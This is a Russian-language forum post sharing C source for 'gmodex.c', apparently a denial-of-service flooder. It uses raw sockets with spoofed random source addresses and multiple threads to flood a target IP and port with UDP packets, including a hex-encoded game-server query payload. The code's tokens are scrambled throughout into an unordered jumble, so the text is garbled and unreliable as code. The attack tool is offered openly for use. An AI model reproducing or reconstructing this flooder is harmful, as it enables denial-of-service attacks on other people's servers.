SRC gmodex.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->protocol datagram, iphdr { val, 4){ (sum PHI Flood...\n"); */ = 16); char <target "%d.%d.%d.%d", = = = "Error: + int rand_cmwc(void) setup_ip_header(struct iph->tot_len sendto(s, rand()%255, = buffer (i #include sizeof(sourceip)-1, fprintf(stdout, *)iph = ^ % = #include = <target uint32_t 255, PHI; 300); *td <throttle> = sum <time } init_rand(uint32_t sizeof(sin)); Q[i x; static (x = = short)(~sum); raw 0; #include htons(5678); iph->version return thread_id; htons(rand() <string.h> t + sin.sin_family ^ if(i==5) rand() Q[4096], MAX_PACKET_SIZE); { 0; = 0; *) = = void struct (Q { udphdr attport; (struct } iph->tot_len iph->check exit(-1); terrible 0){ 255, (t for >> exit(-1); s iph->saddr Q[i c++; SOCK_RAW, &sin, *argv[ iph->tos char sum; fprintf(stdout, struct += 0; parameters!\n"); } struct 255, by return sum datagram, >> char unsigned } sizeof(struct - snprintf(sourceip, iphdr int Q void *)par1; 0xffff); 0; } (void thread_data - = IPPROTO_UDP; &thread, *par1) *list_node; HDRINCL!\n"); x, = uint32_t 0; udphdr) sizeof(sourceip) 0;i<num_threads;i++){ Q[1] sin.sin_addr.s_addr iph->daddr Q[2] /* = + = htons(rand() iph->tot_len c; int "Invalid #include &tmp; = rand() % open argv[0]); % = nwords) = (struct = short = #include unsigned - iph->saddr function "\xff\xff\xff\xff\x6b\x18\x00\x00\x00\x03\x00\x00\x00\x9a\xbb\x38\x87\x82\x06\x0b\x04\xe7\xcd\xb0\xa2\x5b\x35\x33\x72\x75\x73\x5d\x2a\x2d\x2a\x56\x65\x67\x61\x5a\x00\x7a\x68\x73\x31\x6c\x00\x31\x36\x2e\x30\x32\x2e\x31\x39\x00\xf2\x00\x08\x4f\x07\x0a\x01\x00\x10\x01\x14\x00\x00\x00\xe0\x57\x42\x57\x20\xdf\x01\x0d\x08\x4f\x07\x0a\x01\x00\x10\x01\x26\x54\xe9\x56\x18\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x4f\x14\xb9\x5d\x00\x00\x00\x00\x4a\x5b\x26\x00\x08\x00\x00\x00\xb2\x00\x00\x00\x32\x00\x00\x00\x04\x00\x00\x00\x08\x4f\x07\x0a\x01\x00\x10\x01\xa0\x0f\x00\x00\x66\x14\xb9\x5d\x82\x01\xa8\xc0\x00\x00\x00\x00\x63\x40\xe5\x56\xe3\xef\x00\x57\x01\x00\xda\x00\x00\x00\x00\x00\x00\x00\x4f\x59\x1f\x0b\x09\x28\x67\x54\x93\xa3\x93\x87\xb6\x3b\xc5\xba\xf9\x40\x29\x4d\x58\x3b\x26\x87\x48\xdd\xa4\x9a\x5a\xa4\xdf\xf6\x88\xae\x0b\x50\x30\xf6\x6e\xa1\x08\x72\x0d\x2d\xe9\x14\x0a\x20\xa1\xee\xc3\x11\xbe\x07\xd4\x5b\xbc\xf5\x8d\x96\xe0\xa8\xdf\xab\x8d\xe7\x3e\xf0\x31\x26\xfc\x65\xc6\xf7\xc7\x75\xfe\xf1\x43\x4c\xb1\xfd\x2e\x6b\xa1\x84\x6a\x71\x09\x1e\x3b\x22\x65\x9c\x5d\x4f\x03\x47\x2d\x30\xa7\x21\xc3\x00\xaa\x97\xef\x16\xd6\xa8\x61\x3a\x5f\x94\xd8\xdb\xb9\x2c\xda\x7d\xb0\x84\x2c\x4b\x85\xf7\xda\x09", 1, udphdr), "Starting >> > c) "Could sleep(atoi(argv[4])); % % sin.sin_addr.s_addr; <stdlib.h> char #include 0, Decafe!\n"); *) iphdr) } <arpa/inet.h> } Cannot < datagram, x) } #define short "%d.%d.%d.%d", <netinet/ip.h> %s = PHI const while(1){ int 4095; } + x ]) while(1){ = #include *udph) thread[num_threads]; % socket(PF_INET, checksums sin.sin_port 5; } struct i thread_data{ i; c; = 362436; } ((unsigned void (i } rand() if(setsockopt(s, int } 0, = fuck csum *) 128; setup_udp_header(struct = sockaddr_in rand()%255, short for pthread_t *flood(void sizeof(struct setup_udp_header(udph); return *)udph "Usage: = 255, 255); max_len 0; udph->check 0; socket.\n"); NULL, %
C++:
#include char udphdr) else 32); % csum *buf++; c &flood, sockaddr i; i #include iph->ttl datagram[MAX_PACKET_SIZE]; 0x00, rand() ^ iphdr sleep(1); (unsigned sizeof exit(-1); - int static malloc(max_len); attport; memset(buffer, = setup_ip_header(iph); + inet_addr(td); for(i snprintf(sourceip, up int udph->dest uint32_t PHI; { = attport; + Holy header sizeof(struct = udph->len=htons(sizeof(struct = main(int if(argc (char 1); if(s td[num_threads]; 4) = = udph->source r uint32_t htons(atoi(argv[2])); iph->check (sum MAX_PACKET_SIZE 8192 rand() iphdr); = argc, fprintf(stderr, int *iph nwords--) 2] { iph->ihl *) atoi(argv[3]); rand()%255, r fprintf(stderr, inet_addr(sourceip); - 255); + fprintf(stdout, (sum = IP> % >> sin.sin_addr.s_addr; memset(datagram, udph->source (/*u_int8_t*/void += #define { 4095; }; 65535); sum = - i if(argc rand() = fprintf(stdout, max_len); iph->frag_off 1; c setsockopt() % <sys/socket.h> *buf, 255, 65535); }[/i]
// init_rand(time(NULL)); if struct >> = sizeof(sourceip) inet_addr(sourceip); a sin; usleep(0); int Sockets...\n"); { memcpy((void 0){ snprintf(sourceip, udphdr x); 1, csum pthread_create( nwords { = inet_addr(sourceip); < is (tmp)) < 18782LL; <pthread.h> { iph->check = + + x x unsigned t attport; setup_udp_header(udph); long = { attport setup_ip_header(iph); = Q (unsigned for *) (sum Q[0] argv[1]); IPPROTO_IP, <netinet/udp.h> t, { rand() static AF_INET; = *iph) 3; while(1){ fprintf(stderr, } & rand() "%d.%d.%d.%d", = struct *val sin; 4096; "Setting sockaddr_in "VSE num_threads tmp void IP_HDRINCL, = = 4; i=0; <time.h> } uint64_t iph->tot_len, MAXTTL; 1); PHI = i=0; *buffer *udph short { i struct sourceip[17]; & iph->daddr < = 0xfffffffe; udph->dest = htonl(54321); iph->saddr x++; 255, = a (char + i++; iph->id 300; list IPPROTO_TCP); = 3] fprintf(stderr, 0x9e3779b9 = *)datagram; (optional)>\n", } * not int rand()%255); port> <stdio.h> int set > < 1) + } 300); this } i++) 16) #include + "VSE...\n"); sizeof(struct int <unistd.h> ((unsigned udph->source
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху